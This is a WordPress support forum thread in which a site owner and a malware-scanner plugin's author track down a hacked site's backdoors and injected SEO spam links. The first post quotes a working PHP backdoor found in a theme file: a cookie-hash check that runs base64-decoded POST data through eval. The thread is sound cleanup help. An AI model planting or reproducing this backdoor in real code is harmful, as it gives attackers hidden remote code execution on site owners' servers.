• Resolved ravendicenew

    (@ravendicenew)


    I I installed this plugin after getting a mail from sitelock telling me there are backdoors at the site. There where all kind of ‘viagra’ related links mentionned. But I could not find any of this links in my site. Therfore I installed this plugin.
    So far I like this plugin and if I really find the backdoors/seospam then I will certainly think of donating to this plugin:)

    I ran the check and get 2 backdoor scripts

    !…/wp-content/plugins/wp-recaptcha/wp-recaptcha.php
    !…/wp-content/themes/default_raven/index.php (Copied the PHP below, I do not recognize threeat here)

    and 2 known threats.
    …/wp-content/themes/letspanic/css/index.php (this I can delete as I do not use the theme)
    !…/wp-content/backup-db/index.php (old bachup files >10 years old which are never accessed.)

    I see a button to automatically fix selected files. Is this safe to use ?

    Is the recaptcha (3.16.) really a backdoor?

    I checked
    wp-content/themes/default_raven/index.php is a pretty simple PHP file but the tool tells there are possible problems in the lines below.

    I am not really familiar with cookies and their syntax

    if(md5($_COOKIE[’61d15d2053911fa4′])==”a8ea9eb82c85838f0c6d42338fe120f8″){ eval(base64_decode($_POST[‘file’])); exit; } ?><?php if(md5($_COOKIE[‘a8ee7261173a1424’])==”e0ac77a74698414840e242e2f47703fa”){ eval(base64_decode($_POST[‘file’])); exit; } ?><?

    • This topic was modified 7 years, 6 months ago by ravendicenew.
Viewing 14 replies - 1 through 14 (of 14 total)
  • Thread Starter ravendicenew

    (@ravendicenew)

    When I examine re-captcha I see similar warnings for cookies.
    so question is are such real threats?

    Thread Starter ravendicenew

    (@ravendicenew)

    Ok I tried the fix button, and that said 3 files fixed. (deleted unused template)
    But when I scan with some security sites I still get: messages that it is infected with SEO SPAM
    https://www.siteguarding.com/ reports infected URL’s

    SEO Spam MW:SPAM:SEO?r&v4 http://extreem.ravendice.nl/ ( View Payload )
    SEO Spam MW:SPAM:SEO?r&v4 http://extreem.ravendice.nl/?p=45 ( View Payload )
    SEO Spam MW:SPAM:SEO?r&v4 http://extreem.ravendice.nl/?cat=1 ( View Payload )
    SEO Spam MW:SPAM:SEO?r&v4 http://extreem.ravendice.nl/?p=36 ( View Payload )
    SEO Spam MW:SPAM:SEO?r&v4 http://extreem.ravendice.nl/?p=25 ( View Payload )
    SEO Spam MW:SPAM:SEO?r&v4 http://extreem.ravendice.nl/?p=22 ( View Payload )

    https://quttera.com/detailed_report/extreem.ravendice.nl
    reports still 33 problems. I copied some results her below:
    /?m=201008
    Severity:
    Malicious
    Reason:
    Detected reference to blacklisted domain
    Details:
    Detected reference to malicious blacklisted domain theabundanthealer.com
    File size[byte]:
    23834
    File type:
    ASCII
    Page/File MD5:
    1014442071A22A4955CC655C0F986AA1
    Scan duration[sec]:
    0.167000
    /?p=1
    Severity:
    Malicious
    Reason:
    Detected reference to blacklisted domain
    Details:
    Detected reference to malicious blacklisted domain killercactus.com
    File size[byte]:
    17424
    File type:
    ASCII
    Page/File MD5:
    1C5E2B896AD679946B076AD3A7C6D8E8
    Scan duration[sec]:
    0.334000
    /index.html
    Severity:
    Malicious
    Reason:
    Detected reference to blacklisted domain
    Details:
    Detected reference to malicious blacklisted domain annedouglas.com
    File size[byte]:
    209685
    File type:
    ASCII
    Page/File MD5:
    233FE559189FF62B9530D70855E2E4BE
    Scan duration[sec]:

    Plugin Author Eli

    (@scheeeli)

    Yes, that eval cookie code is malicious but it was not originally part of the theme or plugin, it was injected into those files after you installed them.

    the remaining threats are in your post/page content you need to edit those pages in text mode so that you can see all the HTML links that were injected into the bottom of the page content, and remove them.

    Thread Starter ravendicenew

    (@ravendicenew)

    Hi Eli, Thanks for your answer. Curious how the can inject this. As fat as I know I always follow the safety guidelines for access to the pages.
    I have searched already side wise (search all files from the plex-panel) for those URLs, but did not find any so far.
    I even tried all my files for all my domains to search for something like ‘<a href=”http://www.myrxdeals.net/”&#8216; without any succes. I searched for only myrxdeals.

    http://extreem.ravendice.nl/ ( View Payload )
    I assume this would be index.html or index.php

    But where do these URL’s point to?

    http://extreem.ravendice.nl/?p=45 ( View Payload )
    http://extreem.ravendice.nl/?cat=1 ( View Payload )
    http://extreem.ravendice.nl/?p=36 ( View Payload )

    What I found and I think it might be suspicious in index.php files in the rot of the template folder.If i download that file and open it with notepad++ there is some code I do not understand and that looks broken to me. But it has been a long time sice I did some php
    <?php
    // Silence is golden.
    this PHP looks incomplete to me

    Plugin Author Eli

    (@scheeeli)

    No, that “Silence is golden.” comment in those index pages is all that is supposed to be there. Those files are fine, and I think you already fixed the eval cookie threat that my plugin found before. So there is probably no more files that contain malicious code, you are looking in the wrong places. As I said before, the remaining threats are in your post/page content, that is in the database. http://extreem.ravendice.nl/?p=45 is one of your pages (not a file at all, just a URL).

    You need to edit those pages in text mode so that you can see all the HTML links that were injected into the bottom of the page content, and remove them.

    Thread Starter ravendicenew

    (@ravendicenew)

    Hi Eli sorry to bother you again. After doing one site I expect that I understand;)

    I have opened all pages from the site in the WP editor and do not find anything strange there.
    tried posts an all comments but nothing there. index is also clean.
    So I can assume the site is clear now?

    How can I verify that?
    The sucuri sitecheck, after force a rescan still shows the same issues

    Plugin Author Eli

    (@scheeeli)

    If those links still show on your home page then the site is not clean. When I view the source on the home page: view-source:extreem.ravendice.nl
    I see links to myrxdeals in the bottom of the content for post “(Teefje reefje – deel 8”, I also see this kind of HTML links at the bottom of other pages on your site. Are you sure that when you open those pages in the editor you don’t see that HTML code at the bottom?
    extreem.ravendice.nl/wp-admin/post.php?post=36&action=edit
    extreem.ravendice.nl/wp-admin/post.php?post=39&action=edit

    Are you viewing the “text” tab like a told you to do?

    Are you using any caching plugins? If so you really need to clear your cache. I would also suggest turning off caching while you are looking for infections and only turning it back on after you are sure that the whole site is completely clean.

    Maybe you can send me some screenshots if you are not seeing anything in the content area so that I can tell what it is that you are seeing…

    Thread Starter ravendicenew

    (@ravendicenew)

    Hi Eli, Thanks for helping me here!

    When I open the page in WP andmin mode: ()TEXT view)
    Post >all posts
    select Teefje reefje – deel 8
    Edit

    Zwaar gefrustreerd van geiligheid laat ze mij hier achter. Ik word gek van de jeuk. Ik voel de brandnetels op mijn hele lijf. Ik lig te kronkelen tot ik niet meer kan. Voor mijn gevoel duurt het uren voordat ik uitgeput van vermoeidheid in slaap val………….

    and at the start of Teefje reefje – deel 7

    Part 11, Thursday, June 17 , 2004 (written by Raven):

    …………dat is ook meteen het laatste bordje wat ik te zien krijg, want ineens duwt hij met zijn rechterhand mijn hoofd naar beneden. Deze handeling had ik niet verwacht, ik geef dan ook een gil van pijn en schrik want de punten aan de binnenkant van de halsband lijken door mijn huid te duwen, de prikkers aan de binnenkant van het corset maken een vergiet van mij en ik geloof dat het de buttplug is gelukt te verschuiven in mij.

    This is what I see in normal browser:

    Zwaar gefrustreerd van geiligheid laat ze mij hier achter. Ik word gek van de jeuk. Ik voel de brandnetels op mijn hele lijf. Ik lig te kronkelen tot ik niet meer kan. Voor mijn gevoel duurt het uren voordat ik uitgeput van vermoeidheid in slaap val………….

    Posted in Uncategorized | Edit | No Comments »
    Teefje reefje – deel 7
    August 1st, 2010

    Part 11, Thursday, June 17 , 2004 (written by Raven):

    …………dat is ook meteen het laatste bordje wat ik te zien krijg, want ineens duwt hij met zijn rechterhand mijn hoofd naar beneden. Deze

    This is what I see in scource with firefox:

    
    <p>Zwaar gefrustreerd van geiligheid laat ze mij hier achter. Ik word gek van de jeuk. Ik voel de brandnetels op mijn hele lijf. Ik lig te kronkelen tot ik niet meer kan. Voor mijn gevoel duurt het uren voordat ik uitgeput van vermoeidheid in slaap val………….</p>
    				</div>
    
    				<p class="postmetadata">Posted in <a href="http://extreem.ravendice.nl/?cat=1" rel="category">Uncategorized</a> | <a href="http://extreem.ravendice.nl/wp-admin/post.php?post=39&action=edit">Edit</a> |   <a href="http://extreem.ravendice.nl/?p=39#respond">No Comments »</a></p>
    			</div>
    
    		
    			<div class="post" id="post-36">
    				<h2><a href="http://extreem.ravendice.nl/?p=36" rel="bookmark" title="Permanent Link to Teefje reefje – deel 7">Teefje reefje – deel 7</a></h2>
    				<small>August 1st, 2010 <!-- by raven --></small>
    
    				<div class="entry">
    					<p><strong>Part 11, </strong>Thursday, June 17 , 2004  <strong>(written by Raven):</strong></p>
    <p>…………dat is ook meteen.............</p>
    

    This is what I see in Opera scource: And I see the spam now. I do not see it in the normal view.

    [ redacted ]

    So Yes I see plenty of spam

    This is when I try to edit the page is WP with opera: opening deel 8 and deel 7

    Zwaar gefrustreerd van geiligheid laat ze mij hier achter. Ik word gek van de jeuk. Ik voel de brandnetels op mijn hele lijf. Ik lig te kronkelen tot ik niet meer kan. Voor mijn gevoel duurt het uren voordat ik uitgeput van vermoeidheid in slaap val……

    Part 11, Thursday, June 17 , 2004  (written by Raven):

    …………dat is ook meteen het laatste bordje wat ik te zien krijg, want ineens duwt hij met zijn rechterhand mijn hoofd naar beneden. Deze handeling had ik niet verwacht, ik geef dan ook een gil van pijn en schrik want de punten aan de

    But When I reload the page source the spam info is no longer there in the source view.

    On the other PC(of my wife) when I go to the same page in the browser it looks clean.
    but the source shows the SPAM.

    When I go in WP and edit the page it again is clean:S

    When I reload the page source it also is clean

    So it looks like there is some caching experienced here. altough this looks like it is not cashing on my own PC. It looks more like chacking at my internet provider. Because it remains ik I load the normal page and look at source. But when I reload the source it is gone.
    ALso when I then reload the page and then view source.
    Pretty confusing?

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    Side note: @ravendicenew Please do not post that spam content in these forums again. It doesn’t help you and guarantees that your post will hit the spam queue.

    Thread Starter ravendicenew

    (@ravendicenew)

    Hi Jan,
    Sorry I did not realize this. Just tried to give as much info to Eli to show what is happening.
    I am not sure how to show him the differences:S
    I hate all those hackers/spammers creating so much trouble:S

    still fighting on another website to find where the reference is made to the stylesheet that this spammer injected mlnks-css. (renamed that stylesheet temporary so it will not longer be found. But I rather prevent it from beeing called for.
    Now downloading the whole folder on my local PC to find references to this with the text editor.

    Greets
    Bert

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    Sorry I did not realize this. Just tried to give as much info to Eli to show what is happening.

    It’s all good but posting that spammy content doesn’t help. It does provide more air time for that spam.

    I am confident Eli has seen it all already. 😉

    Thread Starter ravendicenew

    (@ravendicenew)

    Hmmmm this file
    wp-admin\wp-content\plugins\wordpress-support\dd5846c38e85c1e91de0eaa5edbdcf33.css
    is automatically re-created when i rename the original mail.
    is this a normal WP CSS file? This stylesheet was also used for the spam?

    Plugin Author Eli

    (@scheeeli)

    I think that whole wordpress-support plugin might be bogus. can you zip up those files and send them directly to my email:
    eli AT gotmls.net

    Thread Starter ravendicenew

    (@ravendicenew)

    I deleted that plugins already, I Hi Eli,
    I think he did not had bad intentions, but is not as good in his job as he thought;)
    Anyway I deleted the plugin.
    I will see next week if all the warnings on the sites disappear.
    I think I also got the http://wordpress.mrskate.nl/ sit clean now:)
    At leas when I look I do not see it anymore in source view.

    Having the scheduled check (like I read that you have planned) would be a nice feature.

    I myself are only doing these website to help a friend and my wife and this in not big money business (more a hobby that became more) but I will make some donation for using the plugin:)

Viewing 14 replies - 1 through 14 (of 14 total)
  • The topic ‘really threat or false?’ is closed to new replies.